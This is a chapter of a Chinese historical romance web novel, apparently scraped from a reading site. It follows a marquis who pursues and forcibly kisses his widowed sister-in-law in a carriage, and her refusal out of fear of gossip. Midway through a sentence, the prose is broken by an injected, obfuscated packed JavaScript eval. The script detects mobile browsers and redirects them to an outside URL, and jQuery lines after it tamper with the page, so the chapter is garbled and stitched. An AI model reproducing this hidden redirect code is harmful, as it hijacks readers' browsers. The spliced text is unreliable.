谢藏澜轻轻握住赵知微的手腕,很快又松了开来。
赵知微心头一惊,不着痕迹地避开了谢藏澜的手,两人并肩朝外走。
直至坐上马车,赵知微才开口:“何时下的聘礼,怎么一点风声没有。”
谢藏澜轻轻呷了口茶,嘴边笑意不经意流露出来:“原以为你会更早开口,没想到竟能等到现在。”
“我不是在同你说笑。”赵知微整了整衣冠,“你这般先斩后奏,当真不担心老夫人发怒?”
“何须担心,我心悦的人定是祖母最最心疼的。”思及何氏平时的作为,谢藏澜确实一点不急。
执素惧热,又不喜车内的熏香,早早到了车帘外,谢藏澜越发无所顾忌起来。
手腕上多了道温凉的触感,赵知微下意识缩手,谢藏澜却按住她不让动:“那日的镯子,嫂嫂为何不戴?”
赵知微似是没想到他会如此大胆:“你可知那是何物?侯府祖传的镯子,祖母说了,只能给你未来的妻子。”
“我给的就是未来的妻子。”谢藏澜如愿见到了她不知所措的模样。
不知为何,听了谢藏澜直截了当的话,赵知微的心突然有了久违的悸动,可她还是冷着一张脸。
“人生大事,岂可儿戏?”
“儿戏?”谢藏澜一下子就识破了赵知微冷漠面具下的言不由衷,佯装松手暗自发力,成功得了美人入怀。
他看着赵知微微红的耳畔:“究竟是我儿戏,还是你不敢直面自己的内心?”
“你……”赵知微怎么也挣脱不开他的禁锢,只能偏头不看他。
谁想到谢藏澜早有准备,她这一偏头险些亲上了他的唇!
赵知微这下是真动了怒,一把把谢藏澜推到车板上,发出了“咚——”的一声闷响。
“吁——”车外的青筠连忙拉紧缰绳,高声问道,“主子您没事吧。”
“没事,许是路不平,有些磕碰实属正常。”谢藏澜捂着额头,没事人一样。
可他偏又在马车重新走起来的时候,悄悄靠在赵知微一眼能看见的地方低声喊疼。
“嘶——”谢藏澜一边揉着额头,一边用湿漉漉的眼神看着赵知微。
赵知微被他烦得茶都喝不下了:“你又不是蛇,一直叫个没完。”
她从袖子里面拿了条帕子,和药瓶一起丢给了谢藏澜。
“自己涂!”
“我看不见。”谢藏澜磨磨蹭蹭半天,才显露出自己的真实目的,“嫂嫂可否帮帮我?”
赵知微最是见不得他这副模样,缓缓吐出一口浊气:“可以啊。”
她手上用了些力气,以为谢藏澜会疼得喊出声,没想到他只是乖乖伏在她膝侧,一句旁的话都没说。
时间缓缓流逝,赵知微只能叹口气:“谢藏澜,对于自己的婚事,你真打算这么糊弄过去?”
“如果你有别的顾虑,担心京城女子不喜欢你,我大可以到其他地方……”
“赵知微,你明明知道我心悦的人是你,为什么要一次又一次地把我推开?”谢藏澜深吸一口气继续,“我那日早早就到了松鹤堂,祖母把大哥的镯子给了你。你明明也收下了啊。”
“这能一样吗?”赵知微哭笑不得,“我早就是他的妻了,若说这镯子给晚……”
谢藏澜却像是赌气的小孩子,不愿意听到自己想听的话就故意堵住赵知微的嘴。
“谢藏澜!”赵知微双手抵在他胸口,眼里除了愤怒还有诧异。
“专心点。”在这种亲密的事情上,谢藏澜的忍耐出乎预料地低,他甚至不愿意从赵知微嘴里听到另一个人的名字。
唇齿厮磨间,他们共享呼吸和心跳,脸上不可抑制地出现潮红。
一吻毕,谢藏澜轻轻抹去赵知微唇边的银丝:“别在我面前提起他。”
“好,不说这个。”
“你的镯子给了我,他日我也会交给新妇,不劳侯爷费心,如何?”这一吻之后,他们的关系再不能停留在之前了,可赵知微显然没有意识到这个问题。
“我不想同你说这些,你口中的新妇也不会出现。”谢藏澜将赵知微头上的珠钗扶正,“我的心里只有你,我只会娶你。”
“不,绝不可以,绝不可以!”赵知微根本没有听完谢藏澜的话,就下意识摇头。
“为什么?你究竟在怕些什么?”谢藏澜真的不明白,“君子一言驷马难追,我不会食言。”
“就是因为你一言九鼎,你知道流言能杀人吗?”赵知微努力眨了两下眼睛,不想让眼泪掉下来。可惜事与愿违,眼下已然一片湿润,泪水却依旧不停。
“你兄长失踪的时候,外面都说我是克夫,是扫把星。这些我从来没有辩驳过,因为没有用,可是,若你我成婚,他们只会说得更难听。”
谢藏澜抿唇,似乎有什么话想说。
赵知微却只是轻轻抬手示意他稍等,擦干眼泪继续说:“这种事情一旦出现,不只是我,你、祖母,乃至整个侯府的名声都会毁于一旦。往后提起永安侯府,百姓不会记得满门忠烈,只会想起那些风流轶事。”
谢藏澜张了张嘴,不知该如何回应。是啊,她说的是对的,自己不能太自私了。祖母她身子本来就不好,他若是执意娶妻……
“那我便不成婚。”谢藏澜虚虚揽着赵知微的肩,“你呢?”
他的眼神太亮,赵知微有些不敢看,刻意回避道:“不知道啊,女子在世间总要寻个庇护的。”她给不了谢藏澜答案,至少现在不行。
“你当真看清了自己的心吗?”谢藏澜沉默半晌,“你刚刚应该推开我的。”
他原以为一吻过后,赵知微会干脆利落地甩他一巴掌,发现没有的时候还很庆幸,以为她心里是有他的。
可现在这又算什么呢?
这么不明不白,他难不成还要为她送嫁不成?
“我不知道。”赵知微有些疲了,今日难得吐露心声,将一切说开,又经历了这么多事情,她真的好累。
车内的熏香是安神的,赵知微
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164357|196633||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
本来就困,车辆颠簸弄得整个人都昏昏沉沉的,身子不自觉开始摇晃。
谢藏澜及时护住她,抱着她放在软垫上。又把自己的膝盖贡献出来,给赵知微枕着脑袋。
二皇子府当年选址,挑的就是一处繁华之地。两家距离并不远,可天子脚下处处是商人百姓,有些狭小的巷子里只能容一辆马车,人流熙熙攘攘,原本只需半个时辰的车程,硬生生拖到了一个时辰。
“你到底行不行啊?”马车在胡饼铺子旁边停了好一会,执素都下车买了几个回来了,马车还是被堵在原处一动不动。
“姑奶奶,人多我也没办法啊。”青筠觉得很冤枉,平日里他也出门,一个人虽说脚程慢了些,好歹不会堵这么久,今日难得家马车,没想到出了岔子。
“随你,主子们不急就行。”执素看了眼紧闭的帘子,声音放低了一些,“但最好还是快些,别耽误夫人用晚膳。”
“得嘞。”
两人说道间的功夫,前面堵塞不通的道路突然空出了一大段,青筠连忙驱车赶上。
就这么走走停停,到侯府果真是日暮时分了。
执素扶着赵知微回明心苑,对方似是想起什么一般,冲不远处的谢藏澜招手。
“不知侯爷可方便到明心苑一叙。”
“自然。”谢藏澜不仅愿意,甚至求之不得。
两人一前一后走着,赵知微终究是忍不住开口问道:“今日二皇子邀请侯爷,到底为的什么?”
“为了兵马。”谢藏澜冷笑一声,“他的如意算盘注定不会成功。”
“兵马?”赵知微不太明白,谢映川之前的确是个将才,可他失踪了。如今的永安侯府可一点实权没有。
“兄长虽然失踪了,但他的精锐军队和虎符都不见了。”谢藏澜眼神有些不屑,“估计是担心侯府将东西藏了起来。他又是个耐不住性子的,今日这才试探一番。”
不知为何,赵知微觉得面前的谢藏澜有些陌生,褪去了少年的稚嫩,对权贵的心思也颇有研究。之前倒是她多虑了。
没等赵知微探到这股违和感的来源,谢藏澜早就换了副面孔:“这些也只是我的猜测罢了,嫂嫂不必当真。”
“这样啊。”赵知微颔首。
一路无言,两人一同在明心苑用完晚膳后,赵知微才屏退左右,将首饰匣子里面的玉镯拿了出来,放到了一个红木制成的精美小盒子里。
“这个你还是拿回去吧。”她把盒子推到谢藏澜面前,示意他收起来。
“权当是你替我保管呢?”谢藏澜知道她这是想明白了,不容更改,却仍想争取一番。
赵知微不愿同他多说:“你若不收,我会交还给祖母,如此贵重的东西不该放在我这里。”
“行,我收。”谢藏澜对赵知微实在是又爱又恨,她是个极有主见的,一旦下定主意,就不会变了,而他没能在车上把握住机会。
他的手轻轻搭在盒子上:“我不敢奢望别的,你的心里能不能不要那么快住进别人?”